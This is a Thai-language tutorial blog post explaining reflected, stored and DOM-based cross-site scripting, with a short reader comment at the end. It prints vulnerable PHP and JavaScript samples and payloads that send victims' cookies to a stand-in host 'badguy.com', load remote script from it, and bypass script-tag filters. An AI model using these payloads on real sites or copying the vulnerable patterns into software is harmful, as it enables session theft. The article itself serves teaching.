Cross-site Scripting ชื่อย่อว่า XSS เป็นชนิดของการช่องโหว่ที่ถูกจัดให้อยู่ในลำดับที่ 3 ของ OWASP TOP 10 2013 โดยเว็บแอปพลิเคชันที่มีช่องโหว่ประเภทนี้ อนุญาตให้ผู้ไม่หวังดีสามารถใส่ JavaScript ให้ทำงานภายใต้ domain ของเป้าหมาย ดังนั้น ผู้ไม่หวังดีสามารถใช้ XSS เพื่อขโมยข้อมูลของผู้ใช้งานคนอื่นได้ บทความนี้จะอธิบายรายละเอียดของสาเหตุของการเกิดช่องประเภทนี้
สาเหตุของช่องโหว่ XSS
XSS เกิดจากการที่เว็บแอปพลิเคชันมีช่องโหว่ที่ปล่อยให้ผู้ไม่หวังดีสามารถใส่ JavaScript ให้ทำงานภายใต้ domain เนื่องจาก JavaScript มีความสามารถในการเข้าถึง HTML DOM (Document Object Model) ทำให้ผู้ไม่หวังดีสามารถแทรก JavaScript เพื่อโจมตีได้ เช่น
- ขโมยข้อมูลของผู้ใช้งานคนอื่น
- เขียน JavaScript KeyLocker เพื่อใช้ดักจับ username และ password
- Link ผู้ใช้งานไปยังเว็บไซต์ที่เป็นอันตราย
- จัดการแก้ไขไฟล์ในเว็บเบราเซอร์ของผู้ใช้งาน
ประเภทของ XSS
แม้ว่า XSS จะมีลักษณะช่องโหว่ที่เหมือนกันนั่นคือการแทรก JavaScript ลงในเว็บแอปพลิเคชัน เราสามารถแบ่งลักษณะการโจมตีด้วย XSS ออกเป็น 3 ประเภทคือ
- Reflected XSS การแทรก JavaScript โดยไม่เก็บ JavaScript ลงในฐานข้อมูล
- Stored XSS การแทรก JavaScript ลงในฐานข้อมูลเพื่อให้เว็บแอปพลิเคชันเรียกซอร์สโคดขึ้นมาในภายหลัง
- DOM-based XSS การแทรก JavaScript ลงใน JavaScript!
Reflected XSS
Reflect XSS เป็นชนิดของ XSS ที่พบได้บ่อยที่สุด (ส่วนมากในช่อง search) ของเว็บแอปพลิเคชัน หลักการคือผู้ใช้งานจะทำการส่ง JavaScript ผ่านทางช่องรับข้อมูล หรือ URL
ตัวอย่างซอร์สโคดที่มีช่องโหว่ XSS
<?php $keyword = $_GET['keyword']; echo "Search Keyword:". $keyword; doSomeSearch($keyword); ?>
ตัวอย่างด้านบนเป็นซอร์สโค้ด PHP ที่รับ keyword แบบ GET มาจาก URL เพื่อทำการค้นหาข้อมูล ซึ่งเป็นรูปแบบที่พบได้บ่อยตามเว็บไซต์ต่าง ๆ อย่างไรก็ตาม การที่เว็บแอปพลิเคชันทำการแสดง keyword ที่ได้รับมาจากผู้ใช้งานโดยไม่ได้ทำการตรวจสอบก่อนเป็นสาเหตุให้เกิดช่องโหว่ Reflected XSS
http://www.someweb.com/search.php?keyword=<script>window.location='http://www.badguy.com?victim_cookie=' + document.cookie;</script>
ผู้ไม่หวังดีสามารถสร้าง URL ดั่งตัวอย่างด้านบนแล้วส่งไปให้กับเหยื่อ เมื่อผู้ใช้งานที่ตกเป็นเหยื่อกด link ดังกล่าวเขาก็จะถูก redirect ไปเว็บไซต์ของผู้ไม่หวังดีพร้อมทั้งส่ง web cookie ไปด้วย
Stored XSS
Stored XSS มีลักษณะแตกต่างกับ Reflexed XSS ตรงที่ ผู้ไม่หวังดีจะใส่ JavaScript ลงในฐานข้อมูลของเว็บแอปพลิเคชันเป้าหมาย และเมื่อผู้ใช้งานคนอื่นเข้ามาใช้งานเว็บแอปพลิเคชันที่มีช่องโหว่ก็จะได้รับ JavaScript ที่เป็นอันตรายจากเว็บแอปพลิเคชันที่ตกเป็นเหยื่อ Stored XSS พบได้บ่อยในกระดานสนธนา (webboard หรือ forum) โดย attacker จะทำการแทรก JavaScript เพื่อตอบกระทู้ เมื่อผู้ใช้งานคนอื่นกดดูกระทู้เบราเซอร์ก็จะทำการรัน JavaScript ในคำตอบที่ attacker ได้ใส่ไว้ อย่างไรก็ตาม เนื่องจากปัจจุบันเว็บแอปพลิเคชันส่วนใหญ่ได้หันมาใช้กระดานสนธนาสำเร็จรูป เช่น SMF ทำให้ช่องโหว่ประเภทนี้ลดน้อยลง
ตัวอย่าง Stored XSS
จากตัวอย่างจะเห็นได้ว่า attacker ทำการบันทึก JavaScript ที่ใช้ในการส่งข้อมูลลับของผู้ใช้งาน (เช่น cookie) ไปให้กับเว็บไซต์ของตนเอง JavaScript ที่ถูกฝังอยู่ในฐานข้อมูลของเว็บไซต์ที่มีช่องโหว่จะถูกส่งไปให้กับผู้ใช้งานเมื่อผู้ใช้งานเรียกดูข้อมูล (เช่น กระทู้) ที่ attacker ได้ฝังซอร์สโค้ดไว้
วิธีการฝัง JavaScript ลงในฐานข้อมูล
จุดมุ่งหมายของ XSS คือการทำให้ผู้ใช้งานคนอื่นที่ตกเป็นเหยื่อทำการเรียกใช้ JavaScript ที่ฝังไว้ ดังนั้น attacker จะหาทางในการฝัง JavaScript ด้วย tag ต่าง ๆ เช่น tag <script></script>
<script src=http://badguy.com/xss.js></script> <script>window.location="http://badguy.com?cookie=" + document.cookie</script>
หลายเว็บไซต์พยายามป้องกัน XSS ด้วยการกรอง tag <script></script> ออกจากข้อมูลที่ได้รับมาจากผู้ใช้งาน อย่างไรก็ตาม ยังมีอีกหลายวิธีการที่ใช้ในการเรียกฝัง JavaScript โดยไม่จำเป็นต้องใช้ tag <script></script> เช่น attacker สามารถใส่ tag <body onload> เพื่อเรียกใช้ JavaScript ได้
<body onload=alert("XSS")> <body background="javascript:alert("XSS")">
หรือ tag <table background> ในการเรียกใช้ JavaScript ก็สามารถทำได้
<table background="javascript:alert('XSS')"> <td background="javascript:alert('XSS')">
DOM-based XSS
DOM-based XSS เป็นช่องโหว่ XSS ที่ตรวจสอบพบได้ยากกว่า Reflected XSS และ Stored XSS เนื่องจาก DOM-based XSS นั้นไม่จำเป็นต้องพึ่งพา back-end ในการแสดงผล JavaScript ให้กับผู้ใช้งาน
ทบทวน Document Object Model และ JavaScript
เมื่อเว็บเบราเซอร์ทำการโหลด HTML ของ webpage สำเร็จ ก็จะสร้างสิ่งที่เรียกว่า Document Object Model (DOM) ขึ้นโดย โดยเปรียบเสมือน Object ของเอกสารในหน้านั้น ๆ โดย JavaScript มีความสามารถในการแก้ไข Object ใน HTML DOM ได้ สนใจอ่านเพิ่มเติมเกี่ยวกับ JavaScript HTML DOM
เมื่อ JavaScript สามารแก้ไขหน้า HTML ได้ หากมีช่องโหว่ใน JavaScript ที่ทำให้ผู้ไม่หวังดีทำการใส่ JavaScript ได้จะถูกจัดเป็นช่องโหว่ประเภท DOM-based XSS
ตัวอย่าง DOM-based XSS
Welcome to our website <script> var pos=document.URL.indexOf("name=")+5; var s = decodeURIComponent(document.URL.substring(pos,document.URL.length)); document.write(s); </script>
ซอร์สโค้ดด้านบนเป็นตัวอย่างของเว็บไซต์ที่มีช่องโหว่ประเภท DOM-based XSS การทำงานคือ ผู้ใช้งานสามารถกรอก username ใส่เข้ามาเป็น parameter ของ URL แล้ว JavaScript จะทำการแสดงข้อความต้อนรับ
ผู้ไม่หวังดีสามารถแทรก JavaScript ลงใน URL ได้โดยการเปลี่ยน URL เป็น
http://somesite.com/owasp/dom-xss.php?name=<script>alert(document.cookie)</script>
แล้วส่ง Link ด้านบนไปให้กับเหยื่อ แม้ว่าตัวอย่างจะเป็นการแค่แสดง alert box แต่ว่าในความเป็นจริง ผู้ไม่หวังดีสามารถแทรก JavaScript ที่มีความซับซ้อนมากกว่านี้เพื่อทำการขโมยข้อมูลของผู้ใช้งานได้
ข้อแตกต่างระหว่าง Reflected XSS และ DOM-based XSS
อ่านมาถึงตรงนี้หลายคนอาจจะเริ่มมีคำถามว่า Reflected XSS และ DOM-based XSS นั้นต่างกันอย่างไร เนื่องจากทั้งคู่มีลักษณะคล้ายกันคือ ผู้ไม่หวังดีส่ง link ที่มี JavaScript แทรกไปให้กับผู้ใช้งาน ข้อแตกต่างระหว่าง Reflected XSS และ DOM-based XSS นั้นคือ Reflected XSS นั้นใช้ back-end (เช่น PHP/Ruby/Python/Java) ในการแสดงผลข้อมูล JavaScript นในทางกลับกัน DOM-based XSS นั้นเป็นช่องโหว่ที่เกิดจาก JavaScript ในส่วนของ front-end ทั้งคู่สามารถสร้างความเสียหายได้พอกัน แต่ DOM-based XSS นั้นจะตรวจจับได้ยากกว่า Reflected XSS และ Stored XSS มากเนื่องจาก DOM-based XSS ไม่ได้ใช้งานในส่วนของ back-end เลย
อย่างไรก็ตามปัจจุบันเว็บเบราเซอร์ส่วนใหญ่ได้มีการทำ encode URL ทำให้ช่องโหว่ประเภท DOM-based XSS เกิดขึ้นได้ยาก อย่างไรก็ตาม หากนักพัฒนาเว็บแอปพลิเคชันที่ดีไม่ควรพลักภาระการแก้ไขช่องโหว่ไปให้ผู้พัฒนาเว็บเบราเซอร์ อีกทั้งยังมีผู้ใช้งานบางกลุ่มที่ (โดยเฉพาะในองค์กรขนาดใหญ่) ยังคงใช้เว็บเบราเซอร์รุ่นเก่าที่มีช่องโหว่ DOM-based XSS นักพัฒนาเว็บแอปพลิเคชันที่ดีควรจะหมั่นตรวจสอบและป้องกันช่องโหว่ประเภท DOM-based XSS ให้ดี
ในบทความหน้าเราจะมาอธิบายกันถึงวิธีการป้องกันช่องโหว่ประเภท XSS รอติดตามกันต่อไปนะครับ
อ้างอิง
2. DOM-based Cross-Site Scripting (XSS) Explained
3. Cross-site Scripting (XSS) Attack
5. DOM Based Cross Site Scripting or XSS of the Third Kind
เคท
August 13, 2019สวัสดีค่ะ พอดี อ่าน เกี่ยวกับ เรื่อง ที่ โพส น่าสนใจ มากเลยค่ะ เพราะ ตอนนี้ กำลัง เรียน cybersecurity แต่ เรียน แบบ รวบรัด ภายใน 6 เดือน ดี ที่ค้นหา เรื่อง ที่เกี่ยวข้อง ที่เรียน มีประโยนช์มาก แต่มีบางเรื่องที่ยัง มีไม่ตรองกับที่เรียน
ติดตาม blog นี้ ตลอด หวังว่าคงได้ รับ การตอบกลับบ้างนะค่ะ
เคท